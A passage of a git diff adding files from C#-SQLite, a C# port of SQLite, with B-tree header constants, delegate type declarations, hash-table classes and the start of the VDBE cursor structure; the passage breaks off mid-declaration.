|| p.pBt.nTransaction==0 ); \ + // Debug.Assert( p.pBt.inTransaction>=p.inTrans ); + static void btreeIntegrity( Btree p ) + { + Debug.Assert( p.pBt.inTransaction != TRANS_NONE || p.pBt.nTransaction == 0 ); + Debug.Assert( p.pBt.inTransaction >= p.inTrans ); + } +#else + static void btreeIntegrity(Btree p) { } +#endif + + /* +** The ISAUTOVACUUM macro is used within balance_nonroot() to determine +** if the database supports auto-vacuum or not. Because it is used +** within an expression that is an argument to another macro +** (sqliteMallocRaw), it is not possible to use conditional compilation. +** So, this macro is defined instead. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + //#define ISAUTOVACUUM (pBt.autoVacuum) +#else +//#define ISAUTOVACUUM 0 +public static bool ISAUTOVACUUM =false; +#endif + + + /* +** This structure is passed around through all the sanity checking routines +** in order to keep track of some global state information. +*/ + //typedef struct IntegrityCk IntegrityCk; + public class IntegrityCk + { + public BtShared pBt; /* The tree being checked out */ + public Pager pPager; /* The associated pager. Also accessible by pBt.pPager */ + public Pgno nPage; /* Number of pages in the database */ + public int[] anRef; /* Number of times each page is referenced */ + public int mxErr; /* Stop accumulating errors when this reaches zero */ + public int nErr; /* Number of messages written to zErrMsg so far */ + //public int mallocFailed; /* A memory allocation error has occurred */ + public StrAccum errMsg = new StrAccum(); /* Accumulate the error message text here */ + }; + + /* + ** Read or write a two- and four-byte big-endian integer values. + */ + //#define get2byte(x) ((x)[0]<<8 | (x)[1]) + static int get2byte( byte[] p, int offset ) + { return p[offset + 0] << 8 | p[offset + 1]; } + + //#define put2byte(p,v) ((p)[0] = (u8)((v)>>8), (p)[1] = (u8)(v)) + static void put2byte( byte[] pData, int Offset, u32 v ) + { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; } + static void put2byte( byte[] pData, int Offset, int v ) + { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; } + + //#define get4byte sqlite3Get4byte + //#define put4byte sqlite3Put4byte + + } +} diff --git a/SQLite/src/Btree_h.cs b/SQLite/src/Btree_h.cs new file mode 100644 index 0000000..e707efb --- /dev/null +++ b/SQLite/src/Btree_h.cs @@ -0,0 +1,279 @@ +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the sqlite B-Tree file + ** subsystem. See comments in the source code for a detailed description + ** of what each interface routine does. + ** + ** @(#) $Id: btree.h,v 1.120 2009/07/22 00:35:24 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_BTREE_H_ + //#define _BTREE_H_ + + /* TODO: This definition is just included so other modules compile. It + ** needs to be revisited. + */ + const int SQLITE_N_BTREE_META = 10; + + /* + ** If defined as non-zero, auto-vacuum is enabled by default. Otherwise + ** it must be turned on for each database using "PRAGMA auto_vacuum = 1". + */ +#if !SQLITE_DEFAULT_AUTOVACUUM + const int SQLITE_DEFAULT_AUTOVACUUM = 0; +#endif + + const int BTREE_AUTOVACUUM_NONE = 0; /* Do not do auto-vacuum */ + const int BTREE_AUTOVACUUM_FULL = 1; /* Do full auto-vacuum */ + const int BTREE_AUTOVACUUM_INCR = 2; /* Incremental vacuum */ + + /* + ** Forward declarations of structure + */ + //typedef struct Btree Btree; + //typedef struct BtCursor BtCursor; + //typedef struct BtShared BtShared; + //typedef struct BtreeMutexArray BtreeMutexArray; + + /* + ** This structure records all of the Btrees that need to hold + ** a mutex before we enter sqlite3VdbeExec(). The Btrees are + ** are placed in aBtree[] in order of aBtree[].pBt. That way, + ** we can always lock and unlock them all quickly. + */ + public class BtreeMutexArray + { + public int nMutex; + public Btree[] aBtree = new Btree[SQLITE_MAX_ATTACHED + 1]; + }; + + + //int sqlite3BtreeOpen( + // string zFilename, /* Name of database file to open */ + // sqlite3 db, /* Associated database connection */ + // Btree **ppBtree, /* Return open Btree* here */ + // int flags, /* Flags */ + // int vfsFlags /* Flags passed through to VFS open */ + //); + + /* The flags parameter to sqlite3BtreeOpen can be the bitwise or of the + ** following values. + ** + ** NOTE: These values must match the corresponding PAGER_ values in + ** pager.h. + */ + const int BTREE_OMIT_JOURNAL = 1; /* Do not use journal. No argument */ + const int BTREE_NO_READLOCK = 2; /* Omit readlocks on readonly files */ + const int BTREE_MEMORY = 4; /* In-memory DB. No argument */ + const int BTREE_READONLY = 8; /* Open the database in read-only mode */ + const int BTREE_READWRITE = 16; /* Open for both reading and writing */ + const int BTREE_CREATE = 32; /* Create the database if it does not exist */ + + //int sqlite3BtreeClose(Btree*); + //int sqlite3BtreeSetCacheSize(Btree*,int); + //int sqlite3BtreeSetSafetyLevel(Btree*,int,int); + //int sqlite3BtreeSyncDisabled(Btree*); + //int sqlite3BtreeSetPageSize(Btree *p, int nPagesize, int nReserve, int eFix); + //int sqlite3BtreeGetPageSize(Btree*); + //int sqlite3BtreeMaxPageCount(Btree*,int); + //int sqlite3BtreeGetReserve(Btree*); + //int sqlite3BtreeSetAutoVacuum(Btree , int); + //int sqlite3BtreeGetAutoVacuum(Btree ); + //int sqlite3BtreeBeginTrans(Btree*,int); + //int sqlite3BtreeCommitPhaseOne(Btree*, string zMaster); + //int sqlite3BtreeCommitPhaseTwo(Btree*); + //int sqlite3BtreeCommit(Btree*); + //int sqlite3BtreeRollback(Btree*); + //int sqlite3BtreeBeginStmt(Btree*); + //int sqlite3BtreeCreateTable(Btree*, int*, int flags); + //int sqlite3BtreeIsInTrans(Btree*); + //int sqlite3BtreeIsInReadTrans(Btree*); + //int sqlite3BtreeIsInBackup(Btree*); + //void *sqlite3BtreeSchema(Btree , int, void(*)(void *)); + //int sqlite3BtreeSchemaLocked( Btree* pBtree ); + //int sqlite3BtreeLockTable( Btree* pBtree, int iTab, u8 isWriteLock ); + //int sqlite3BtreeSavepoint(Btree *, int, int); + + //const char *sqlite3BtreeGetFilename(Btree ); + //const char *sqlite3BtreeGetJournalname(Btree ); + //int sqlite3BtreeCopyFile(Btree *, Btree *); + + //int sqlite3BtreeIncrVacuum(Btree ); + + /* The flags parameter to sqlite3BtreeCreateTable can be the bitwise OR + ** of the following flags: + */ + const int BTREE_INTKEY = 1; /* Table has only 64-bit signed integer keys */ + const int BTREE_ZERODATA = 2; /* Table has keys only - no data */ + const int BTREE_LEAFDATA = 4; /* Data stored in leaves only. Implies INTKEY */ + + //int sqlite3BtreeDropTable(Btree*, int, int*); + //int sqlite3BtreeClearTable(Btree*, int, int*); + //void sqlite3BtreeTripAllCursors(Btree*, int); + + //void sqlite3BtreeGetMeta(Btree *pBtree, int idx, u32 *pValue); + //int sqlite3BtreeUpdateMeta(Btree*, int idx, u32 value); + + + /* + ** The second parameter to sqlite3BtreeGetMeta or sqlite3BtreeUpdateMeta + ** should be one of the following values. The integer values are assigned + ** to constants so that the offset of the corresponding field in an + ** SQLite database header may be found using the following formula: + ** + ** offset = 36 + (idx * 4) + ** + ** For example, the free-page-count field is located at byte offset 36 of + ** the database file header. The incr-vacuum-flag field is located at + ** byte offset 64 (== 36+4*7). + */ + //#define BTREE_FREE_PAGE_COUNT 0 + //#define BTREE_SCHEMA_VERSION 1 + //#define BTREE_FILE_FORMAT 2 + //#define BTREE_DEFAULT_CACHE_SIZE 3 + //#define BTREE_LARGEST_ROOT_PAGE 4 + //#define BTREE_TEXT_ENCODING 5 + //#define BTREE_USER_VERSION 6 + //#define BTREE_INCR_VACUUM 7 + const int BTREE_FREE_PAGE_COUNT = 0; + const int BTREE_SCHEMA_VERSION = 1; + const int BTREE_FILE_FORMAT = 2; + const int BTREE_DEFAULT_CACHE_SIZE = 3; + const int BTREE_LARGEST_ROOT_PAGE = 4; + const int BTREE_TEXT_ENCODING = 5; + const int BTREE_USER_VERSION = 6; + const int BTREE_INCR_VACUUM = 7; + + //int sqlite3BtreeCursor( + // Btree*, /* BTree containing table to open */ + // int iTable, /* Index of root page */ + // int wrFlag, /* 1 for writing. 0 for read-only */ + // struct KeyInfo*, /* First argument to compare function */ + // BtCursor pCursor /* Space to write cursor structure */ + //); + //int sqlite3BtreeCursorSize(void); + + //int sqlite3BtreeCloseCursor(BtCursor*); + //int sqlite3BtreeMovetoUnpacked( + // BtCursor*, + // UnpackedRecord pUnKey, + // i64 intKey, + // int bias, + // int pRes + //); + //int sqlite3BtreeCursorHasMoved(BtCursor*, int*); + //int sqlite3BtreeDelete(BtCursor*); + //int sqlite3BtreeInsert(BtCursor*, const void pKey, i64 nKey, + // const void pData, int nData, + // int nZero, int bias, int seekResult); + //int sqlite3BtreeFirst(BtCursor*, int pRes); + //int sqlite3BtreeLast(BtCursor*, int pRes); + //int sqlite3BtreeNext(BtCursor*, int pRes); + //int sqlite3BtreeEof(BtCursor*); + //int sqlite3BtreePrevious(BtCursor*, int pRes); + //int sqlite3BtreeKeySize(BtCursor*, i64 pSize); + //int sqlite3BtreeKey(BtCursor*, u32 offset, u32 amt, void*); + //const void *sqlite3BtreeKeyFetch(BtCursor*, int pAmt); + //const void *sqlite3BtreeDataFetch(BtCursor*, int pAmt); + //int sqlite3BtreeDataSize(BtCursor*, u32 pSize); + //int sqlite3BtreeData(BtCursor*, u32 offset, u32 amt, void*); + //void sqlite3BtreeSetCachedRowid(BtCursor*, sqlite3_int64); + //sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor*); + + //char *sqlite3BtreeIntegrityCheck(Btree*, int *aRoot, int nRoot, int, int*); + //struct Pager *sqlite3BtreePager(Btree*); + + //int sqlite3BtreePutData(BtCursor*, u32 offset, u32 amt, void*); + //void sqlite3BtreeCacheOverflow(BtCursor ); + //void sqlite3BtreeClearCursor(BtCursor *); + + //#ifndef NDEBUG + //int sqlite3BtreeCursorIsValid(BtCursor*); + //#endif + + //#if !SQLITE_OMIT_BTREECOUNT + //int sqlite3BtreeCount(BtCursor *, i64 *); + //#endif + + //#if SQLITE_TEST + //int sqlite3BtreeCursorInfo(BtCursor*, int*, int); + //void sqlite3BtreeCursorList(Btree*); + //#endif + +#if !SQLITE_OMIT_SHARED_CACHE +//void sqlite3BtreeEnter(Btree*); +//void sqlite3BtreeEnterAll(sqlite3*); +#else + //# define sqlite3BtreeEnter(X) + static void sqlite3BtreeEnter( Btree bt ) { } + //# define sqlite3BtreeEnterAll(X) + static void sqlite3BtreeEnterAll( sqlite3 p ) { } +#endif + +#if !(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE +//void sqlite3BtreeLeave(Btree*); +//void sqlite3BtreeEnterCursor(BtCursor*); +//void sqlite3BtreeLeaveCursor(BtCursor*); +//void sqlite3BtreeLeaveAll(sqlite3*); +//void sqlite3BtreeMutexArrayEnter(BtreeMutexArray*); +//void sqlite3BtreeMutexArrayLeave(BtreeMutexArray*); +//void sqlite3BtreeMutexArrayInsert(BtreeMutexArray*, Btree*); +#if !NDEBUG +/* These routines are used inside assert() statements only. */ +int sqlite3BtreeHoldsMutex(Btree*); +int sqlite3BtreeHoldsAllMutexes(sqlite3*); +#endif +#else + + //# define sqlite3BtreeLeave(X) + static void sqlite3BtreeLeave( Btree X ) { } + + //# define sqlite3BtreeEnterCursor(X) + static void sqlite3BtreeEnterCursor( BtCursor X ) { } + + //# define sqlite3BtreeLeaveCursor(X) + static void sqlite3BtreeLeaveCursor( BtCursor X ) { } + + //# define sqlite3BtreeLeaveAll(X) + static void sqlite3BtreeLeaveAll( sqlite3 X ) { } + + //# define sqlite3BtreeMutexArrayEnter(X) + static void sqlite3BtreeMutexArrayEnter( BtreeMutexArray X ) { } + + //# define sqlite3BtreeMutexArrayLeave(X) + static void sqlite3BtreeMutexArrayLeave( BtreeMutexArray X ) { } + + //# define sqlite3BtreeMutexArrayInsert(X,Y) + static void sqlite3BtreeMutexArrayInsert( BtreeMutexArray X, Btree Y ) { } + + //# define sqlite3BtreeHoldsMutex(X) 1 + static bool sqlite3BtreeHoldsMutex( Btree X ) { return true; } + + //# define sqlite3BtreeHoldsAllMutexes(X) 1 + static bool sqlite3BtreeHoldsAllMutexes( sqlite3 X ) { return true; } +#endif + + + //#endif // * _BTREE_H_ */ + + } +} diff --git a/SQLite/src/Delagates.cs b/SQLite/src/Delagates.cs new file mode 100644 index 0000000..5457900 --- /dev/null +++ b/SQLite/src/Delagates.cs @@ -0,0 +1,201 @@ + /* + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/Delagates.cs $ + ** Revision : $Revision$ + ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ + ** Last Changed By : $LastChangedBy: noah.hart $ + ************************************************************************* + */ + +using System.Text; + +using HANDLE = System.IntPtr; + +using i32 = System.Int32; +using u32 = System.UInt32; +using u64 = System.UInt64; + +using sqlite3_int64 = System.Int64; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using DbPage = CSSQLite.PgHdr; + using sqlite3_stmt = CSSQLite.Vdbe; + using sqlite3_value = CSSQLite.Mem; + using sqlite3_pcache = CSSQLite.PCache1; + + public partial class CSSQLite + { + public delegate void dxAuth( object pAuthArg, int b, string c, string d, string e, string f ); + public delegate int dxBusy( object pBtShared, int iValue ); + public delegate void dxFreeAux( object pAuxArg ); + public delegate int dxCallback( object pCallbackArg, sqlite3_int64 argc, object p2, object p3 ); + public delegate void dxCollNeeded( object pCollNeededArg, sqlite3 db, int eTextRep, string collationName ); + public delegate int dxCommitCallback( object pCommitArg ); + public delegate int dxCompare( object pCompareArg, int size1, string Key1, int size2, string Key2 ); + public delegate bool dxCompare4( string Key1, int size1, string Key2, int size2 ); + public delegate void dxDel ( ref string pDelArg ); // needs ref + public delegate void dxDelCollSeq( ref object pDelArg ); // needs ref + public delegate void dxProfile( object pProfileArg, string msg, u64 time ); + public delegate int dxProgress( object pProgressArg ); + public delegate void dxRollbackCallback( object pRollbackArg ); + public delegate void dxTrace( object pTraceArg, string msg ); + public delegate void dxUpdateCallback( object pUpdateArg, int b, string c, string d, sqlite3_int64 e ); + + /* + * FUNCTIONS + * + */ + public delegate void dxFunc( sqlite3_context ctx, int intValue, sqlite3_value[] value ); + public delegate void dxStep( sqlite3_context ctx, int intValue, sqlite3_value[] value ); + public delegate void dxFinal( sqlite3_context ctx ); + // + public delegate string dxColname( sqlite3_value pVal ); + public delegate int dxFuncBtree( Btree p ); + public delegate int dxExprTreeFunction( ref int pArg, Expr pExpr ); + public delegate int dxExprTreeFunction_NC( NameContext pArg, ref Expr pExpr ); + public delegate int dxExprTreeFunction_OBJ( object pArg, Expr pExpr ); + /* + VFS Delegates + */ + public delegate int dxClose( sqlite3_file File_ID ); + public delegate int dxCheckReservedLock( sqlite3_file File_ID, ref int pRes); + public delegate int dxDeviceCharacteristics( sqlite3_file File_ID ); + public delegate int dxFileControl( sqlite3_file File_ID, int op, ref int pArgs ); + public delegate int dxFileSize( sqlite3_file File_ID, ref int size ); + public delegate int dxLock( sqlite3_file File_ID, int locktype ); + public delegate int dxRead( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); + public delegate int dxSectorSize( sqlite3_file File_ID ); + public delegate int dxSync( sqlite3_file File_ID, int flags ); + public delegate int dxTruncate( sqlite3_file File_ID, sqlite3_int64 size ); + public delegate int dxUnlock( sqlite3_file File_ID, int locktype ); + public delegate int dxWrite( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); + + /* + sqlite_vfs Delegates + */ + public delegate int dxOpen( sqlite3_vfs vfs, string zName, sqlite3_file db, int flags, ref int pOutFlags ); + public delegate int dxDelete( sqlite3_vfs vfs, string zName, int syncDir ); + public delegate int dxAccess( sqlite3_vfs vfs, string zName, int flags, ref int pResOut ); + public delegate int dxFullPathname( sqlite3_vfs vfs, string zName, int nOut, StringBuilder zOut ); + public delegate HANDLE dxDlOpen( sqlite3_vfs vfs, string zFilename ); + public delegate int dxDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg ); + public delegate HANDLE dxDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ); + public delegate int dxDlClose( sqlite3_vfs vfs, HANDLE data ); + public delegate int dxRandomness( sqlite3_vfs vfs, int nByte, ref byte[] buffer ); + public delegate int dxSleep( sqlite3_vfs vfs, int microseconds ); + public delegate int dxCurrentTime( sqlite3_vfs vfs, ref double currenttime ); + public delegate int dxGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ); + + /* + * Pager Delegates + */ + + public delegate void dxDestructor( DbPage dbPage); /* Call this routine when freeing pages */ + public delegate int dxBusyHandler( object pBusyHandlerArg ); + public delegate void dxReiniter( DbPage dbPage ); /* Call this routine when reloading pages */ + + public delegate void dxFreeSchema( Schema schema ); + + //Module + public delegate void dxDestroy( ref PgHdr pDestroyArg ); + public delegate int dxStress (object obj,PgHdr pPhHdr); + + //sqlite3_module + public delegate int smdxCreate( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError ); + public delegate int smdxConnect( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError ); + public delegate int smdxBestIndex( sqlite3_vtab pVTab, ref sqlite3_index_info pIndex ); + public delegate int smdxDisconnect( sqlite3_vtab pVTab ); + public delegate int smdxDestroy( sqlite3_vtab pVTab ); + public delegate int smdxOpen( sqlite3_vtab pVTab, ref sqlite3_vtab_cursor ppCursor ); + public delegate int smdxClose( sqlite3_vtab_cursor pCursor ); + public delegate int smdxFilter( sqlite3_vtab_cursor pCursor, int idxNum, string idxStr, int argc, sqlite3_value[] argv ); + public delegate int smdxNext( sqlite3_vtab_cursor pCursor ); + public delegate int smdxEof( sqlite3_vtab_cursor pCursor ); + public delegate int smdxColumn( sqlite3_vtab_cursor pCursor, sqlite3_context p2, int p3 ); + public delegate int smdxRowid( sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid ); + public delegate int smdxUpdate( sqlite3_vtab pVTab, int p1, sqlite3_value[] p2, sqlite3_int64 p3 ); + public delegate int smdxBegin( sqlite3_vtab pVTab ); + public delegate int smdxSync( sqlite3_vtab pVTab ); + public delegate int smdxCommit( sqlite3_vtab pVTab ); + public delegate int smdxRollback( sqlite3_vtab pVTab ); + public delegate int smdxFindFunction( sqlite3_vtab pVtab, int nArg, string zName, object pxFunc, ref sqlite3_value[] ppArg ); + public delegate int smdxRename( sqlite3_vtab pVtab, string zNew ); + + //AutoExtention + public delegate int dxInit( sqlite3 db, ref string zMessage, sqlite3_api_routines sar ); +#if !SQLITE_OMIT_VIRTUALTABLE + public delegate int dmxCreate(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); + public delegate int dmxConnect(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); + public delegate int dmxBestIndex(sqlite3_vtab pVTab, sqlite3_index_info pIndexInfo); + public delegate int dmxDisconnect(sqlite3_vtab pVTab); + public delegate int dmxDestroy(sqlite3_vtab pVTab); + public delegate int dmxOpen(sqlite3_vtab pVTab, sqlite3_vtab_cursor ppCursor); + public delegate int dmxClose(sqlite3_vtab_cursor pCursor); + public delegate int dmxFilter(sqlite3_vtab_cursor pCursor, int idmxNum, string idmxStr, int argc, sqlite3_value argv); + public delegate int dmxNext(sqlite3_vtab_cursor pCursor); + public delegate int dmxEof(sqlite3_vtab_cursor pCursor); + public delegate int dmxColumn(sqlite3_vtab_cursor pCursor, sqlite3_context ctx, int i3); + public delegate int dmxRowid(sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid); + public delegate int dmxUpdate(sqlite3_vtab pVTab, int i2, sqlite3_value sv3, sqlite3_int64 v4); + public delegate int dmxBegin(sqlite3_vtab pVTab); + public delegate int dmxSync(sqlite3_vtab pVTab); + public delegate int dmxCommit(sqlite3_vtab pVTab); + public delegate int dmxRollback(sqlite3_vtab pVTab); + public delegate int dmxFindFunction(sqlite3_vtab pVtab, int nArg, string zName); + public delegate int dmxRename(sqlite3_vtab pVtab, string zNew); +#endif + //Faults + public delegate void void_function(); + +//Alarms + public delegate void dxalarmCallback (object pData, sqlite3_int64 p1, int p2); + + //Mem Methods + public delegate int dxMemInit (object o); + public delegate void dxMemShutdown( object o ); + public delegate byte[] dxMalloc (int nSize); + public delegate void dxFree( ref byte[] pOld); + public delegate byte[] dxRealloc( ref byte[] pOld, int nSize ); + public delegate int dxSize (byte[] pArray); + public delegate int dxRoundup( int nSize ); + + //Mutex Methods + public delegate int dxMutexInit(); + public delegate int dxMutexEnd( ); + public delegate sqlite3_mutex dxMutexAlloc(int iNumber); + public delegate void dxMutexFree(sqlite3_mutex sm); + public delegate void dxMutexEnter(sqlite3_mutex sm); + public delegate int dxMutexTry(sqlite3_mutex sm); + public delegate void dxMutexLeave(sqlite3_mutex sm); + public delegate int dxMutexHeld(sqlite3_mutex sm); + public delegate int dxMutexNotheld(sqlite3_mutex sm); + + public delegate object dxColumn( sqlite3_stmt pStmt, int i ); + public delegate int dxColumn_I( sqlite3_stmt pStmt, int i ); + + // Walker Methods + public delegate int dxExprCallback (Walker W, ref Expr E); /* Callback for expressions */ + public delegate int dxSelectCallback (Walker W, Select S); /* Callback for SELECTs */ + + + // pcache Methods + public delegate int dxPC_Init( object NotUsed ); + public delegate void dxPC_Shutdown( object NotUsed ); + public delegate sqlite3_pcache dxPC_Create (int szPage, int bPurgeable); + public delegate void dxPC_Cachesize (sqlite3_pcache pCache, int nCachesize); + public delegate int dxPC_Pagecount (sqlite3_pcache pCache); + public delegate PgHdr dxPC_Fetch( sqlite3_pcache pCache, u32 key, int createFlag ); + public delegate void dxPC_Unpin( sqlite3_pcache pCache, PgHdr p2, int discard ); + public delegate void dxPC_Rekey( sqlite3_pcache pCache, PgHdr p2, u32 oldKey, u32 newKey ); + public delegate void dxPC_Truncate( sqlite3_pcache pCache, u32 iLimit ); + public delegate void dxPC_Destroy(ref sqlite3_pcache pCache); + + public delegate void dxIter(PgHdr p); + } +} diff --git a/SQLite/src/Hash_h.cs b/SQLite/src/Hash_h.cs new file mode 100644 index 0000000..2b6fa3d --- /dev/null +++ b/SQLite/src/Hash_h.cs @@ -0,0 +1,134 @@ +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the header file for the generic hash-table implemenation + ** used in SQLite. + ** + ** $Id: hash.h,v 1.15 2009/05/02 13:29:38 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_SQLITE_HASH_H_ + //#define _SQLITE_HASH_H_ + + /* Forward declarations of structures. */ + //typedef struct Hash Hash; + //typedef struct HashElem HashElem; + + /* A complete hash table is an instance of the following structure. + ** The internals of this structure are intended to be opaque -- client + ** code should not attempt to access or modify the fields of this structure + ** directly. Change this structure only by using the routines below. + ** However, some of the "procedures" and "functions" for modifying and + ** accessing this structure are really macros, so we can't really make + ** this structure opaque. + ** + ** All elements of the hash table are on a single doubly-linked list. + ** Hash.first points to the head of this list. + ** + ** There are Hash.htsize buckets. Each bucket points to a spot in + ** the global doubly-linked list. The contents of the bucket are the + ** element pointed to plus the next _ht.count-1 elements in the list. + ** + ** Hash.htsize and Hash.ht may be zero. In that case lookup is done + ** by a linear search of the global list. For small tables, the + ** Hash.ht table is never allocated because if there are few elements + ** in the table, it is faster to do a linear search than to manage + ** the hash table. + */ + public class _ht + { /* the hash table */ + public int count; /* Number of entries with this hash */ + public HashElem chain; /* Pointer to first entry with this hash */ + }; + + public class Hash + { + public u32 htsize = 31; /* Number of buckets in the hash table */ + public u32 count; /* Number of entries in this table */ + public HashElem first; /* The first element of the array */ + public _ht[] ht; + public Hash Copy() + { + if ( this == null ) + return null; + else + { + Hash cp = (Hash)MemberwiseClone(); + return cp; + } + } + }; + + /* Each element in the hash table is an instance of the following + ** structure. All elements are stored on a single doubly-linked list. + ** + ** Again, this structure is intended to be opaque, but it can't really + ** be opaque because it is used by macros. + */ + public class HashElem + { + public HashElem next; + public HashElem prev; /* Next and previous elements in the table */ + public object data; /* Data associated with this element */ + public string pKey; + public int nKey; /* Key associated with this element */ + }; + + /* + ** Access routines. To delete, insert a NULL pointer. + */ + //void sqlite3HashInit(Hash*); + //void *sqlite3HashInsert(Hash*, const char *pKey, int nKey, void *pData); + //void *sqlite3HashFind(const Hash*, const char *pKey, int nKey); + //void sqlite3HashClear(Hash*); + + /* + ** Macros for looping over all elements of a hash table. The idiom is + ** like this: + ** + ** Hash h; + ** HashElem p; + ** ... + ** for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){ + ** SomeStructure pData = sqliteHashData(p); + ** // do something with pData + ** } + */ + //#define sqliteHashFirst(H) ((H).first) + static HashElem sqliteHashFirst( Hash H ) { return H.first; } + //#define sqliteHashNext(E) ((E).next) + static HashElem sqliteHashNext( HashElem E ) { return E.next; } + //#define sqliteHashData(E) ((E).data) + static object sqliteHashData( HashElem E ) { return E.data; } + /* #define sqliteHashKey(E) ((E)->pKey) // NOT USED */ + /* #define sqliteHashKeysize(E) ((E)->nKey) // NOT USED */ + + /* + ** Number of entries in a hash table + */ + /* #define sqliteHashCount(H) ((H)->count) // NOT USED */ + + //#endif // * _SQLITE_HASH_H_ */ + } +} diff --git a/SQLite/src/VdbeInt_h.cs b/SQLite/src/VdbeInt_h.cs new file mode 100644 index 0000000..f00c25b --- /dev/null +++ b/SQLite/src/VdbeInt_h.cs @@ -0,0 +1,566 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using FILE = System.IO.TextWriter; + +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using unsigned = System.UIntPtr; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using Op = CSSQLite.VdbeOp; + + public partial class CSSQLite + { + /* + ** 2003 September 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the header file for information that is private to the + ** VDBE. This information used to all be at the top of the single + ** source code file "vdbe.c". When that file became too big (over + ** 6000 lines long) it was split up into several smaller files and + ** this header information was factored out. + ** + ** $Id: vdbeInt.h,v 1.174 2009/06/23 14:15:04 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_VDBEINT_H_ + //#define _VDBEINT_H_ + + /* + ** SQL is translated into a sequence of instructions to be + ** executed by a virtual machine. Each instruction is an instance + ** of the following structure. + */ + //typedef struct VdbeOp Op; + + /* + ** Boolean values + */ + //typedef unsigned char Bool; + + /* + ** A cursor is a pointer into a single BTree within a database file. + ** The cursor can seek to a BTree entry with a particular key, or + ** loop over all entries of the Btree. You can also insert new BTree + ** entries or retrieve the key or data from the entry that the cursor + ** is currently pointing to. + ** + ** Every cursor that the virtual machine has open is represented by an + ** instance of the following structure. + ** + ** If the VdbeCursor.isTriggerRow flag is set it means that this cursor is + ** really a single row that represents the NEW or OLD pseudo-table of + ** a row trigger. The data for the row is stored in VdbeCursor.pData and + ** the rowid is in VdbeCursor.iKey. + */ + public class VdbeCursor + { + public BtCursor pCursor; /* The cursor structure of the backend */ + public int iDb; /* Index of cursor database in db.aDb[] (or -1) */ + public i64 lastRowid; /* Last rowid from a Next or NextIdx operation */ + public bool zeroed; /* True if zeroed out and ready for reuse */ + public bool rowidIsValid; /* True if lastRowid is valid */ + public bool atFirst; /* True if pointing to first entry */ + public bool useRandomRowid; /* Generate new record numbers semi-randomly */ + public bool nullRow; /* True if pointing to a row with no data */ + public bool pseudoTable; /* This is a NEW or OLD pseudo-tables of a trigger */ + public bool ephemPseudoTable; + public bool deferredMoveto; /* A call to sqlite3BtreeMoveto() is needed */ + public bool isTable; /* True if a table requiring integer keys */ + public bool isIndex; /* True if an index containing keys only - no data */ + public i64 movetoTarget; /* Argument to the deferred sqlite3BtreeMoveto() */ + public Btree pBt; /* Separate file holding temporary table */ + public int nData; /* Number of bytes in pData */ + public byte[] pData; /* Data for a NEW or OLD pseudo-table */ + public i64 iKey; /* Key for the NEW or OLD pseudo-table row */ + public KeyInfo pKeyInfo; /* Info about index keys needed by index cursors */ + public int nField; /* Number of fields in the header */ + public int seqCount; /* Sequence counter */ +#if !SQLITE_OMIT_VIRTUALTABLE +public sqlite3_vtab_cursor pVtabCursor; /* The cursor for a virtual table */ +public readonly sqlite3_module pModule; /* Module for cursor pVtabCursor */ +#endif + + /* Result of last sqlite3BtreeMoveto() done by an OP_NotExists or +** OP_IsUnique opcode on this cursor. */ + public int seekResult; + + /* Cached information about the header for the data record that the + ** cursor is currently pointing to. Only valid if cacheValid is true. + ** aRow might point to (ephemeral) data for the current row, or it might + ** be NULL. + */ + public int cacheStatus; /* Cache is valid if this matches Vdbe.cacheCtr */ + public 